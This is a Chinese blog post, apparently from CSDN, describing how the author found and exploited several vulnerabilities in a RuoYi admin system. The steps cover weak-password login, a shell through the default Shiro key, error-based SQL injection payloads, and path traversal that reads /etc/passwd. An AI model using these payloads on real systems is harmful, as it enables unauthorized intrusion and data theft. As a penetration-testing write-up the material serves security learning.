漏洞挖掘 | ruoyi框架管理系统漏洞

本文详细描述了在挖掘若依管理系统时发现的多个安全漏洞,包括弱口令、利用Shiro框架的反序列化漏洞、多处SQL注入点以及文件读取漏洞。作者强调合法使用这些信息进行技术讨论,非用于违法途径。
摘要由CSDN通过智能技术生成

 

前言:

在挖src的时候,可以通过信息收集收集弱口令,然后通过后台弱口令进入后台:

图片


发现一个弱口令进去后:

图片


【魔方老师提醒才发现,这个蓝色的草丛其实可以大致判断是若依系统】
 

图片


看这界面,是不是很像ruoyi
插件一看:

图片


前端vue.js

加上登录的cookie rememberMe:

图片


【登录失败时bp抓包相应包有remeberMe=delete】
得知登录为shiro框架
八九不离十后台就是ruoyi框架的管理系统了

若依管理系统简介

若依管理系统(Ruoyi Admin System)是一款基于Java开发的开源后台管理系统,若依管理系统采用前后端分离架构,前端使用Vue.js框架,后端使用Spring Boot框架。
找了个ruoyi系统的例图如下:

图片

漏洞一:若依前台默认shiro key命令执行漏洞

漏洞简介
若依默认使用shiro组件,所以可以试试shiro经典的反序列化 rememberMe漏洞来getshell。
直接工具一搜哈:
 

图片


直接先爆破密钥,成功了血赚,失败了不亏,还有其他方法能得到AES的key
工具二搜哈:
【url和cookie配置好就直接搜哈】

图片


这里发现了很多的漏洞:

 

[+] 存在Snakeyaml命令执行漏洞[+] 存在JdbcTemplate漏洞[+] 存在ReadFile(新)文件读取漏洞[+] 存在ReadFile(老)文件读取漏洞[+] 存在Thymeleaf模板注入漏洞[+] 存在SQL(1)注入漏洞[+] 存在SQL(2)注入漏洞[+] 存在SQL(3)注入漏洞[+] 存在Shiro框架[+] 存在默认key:xxxxx

我们先针对shiro框架:
拿着key去工具一:

图片


然后检测利用链,检测成功后就可以命令执行getshell了:

图片

图片

漏洞二:若依后台存在多处sql注入漏洞

第一处:

图片


角色管理的搜索,bp拦截抓包:

图片

 

poc:pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

报错注入回显database():

图片

 

poc2:pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select table_schema from information_schema.tables limit 0,1),0x7e))

图片


爆到库名点到为止

第二处:

图片


也是角色管理,在导出这里

 

poc:params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

图片

图片

图片

或者直接使用工具二

图片

图片

漏洞三:若依后台任意文件读取(CNVD-2021-01931)

直接get访问:

 

/common/download/resource?resource=/profile/../../../../etc/passwd/common/download/resource?resource=/profile/../../../../Windows/win.ini

图片

漏洞四:Thymeleaf模板注入漏洞

用工具二 ping+dnslog验证:

图片

图片

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!


渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

应急响应笔记

学习路线

  • 7
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
RuoYi后台管理系统是一种基于SpringBoot的权限管理系统,可以用于搭建多商户后台管理系统以及实现内容管理和商城业务。 关于RuoYi后台管理系统的教程,可以参考官方文档和在线教程资源。官方文档提供了详细的使用说明和配置指南,可以帮助用户了解系统的功能和使用方法。此外,还有许多在线教程资源,例如博客文章、视频教程和社区讨论,可以帮助用户更深入地学习和使用RuoYi后台管理系统。用户可以根据自己的需求和学习方式选择合适的教程资源来学习RuoYi后台管理系统。<span class="em">1</span><span class="em">2</span> #### 引用[.reference_title] - *1* [RuoYi-fast_java_RuoYi后台管理系统_](https://download.csdn.net/download/weixin_42683392/26271646)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [RuoYi-plus后台管理系统-其他](https://download.csdn.net/download/weixin_38562725/19582380)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值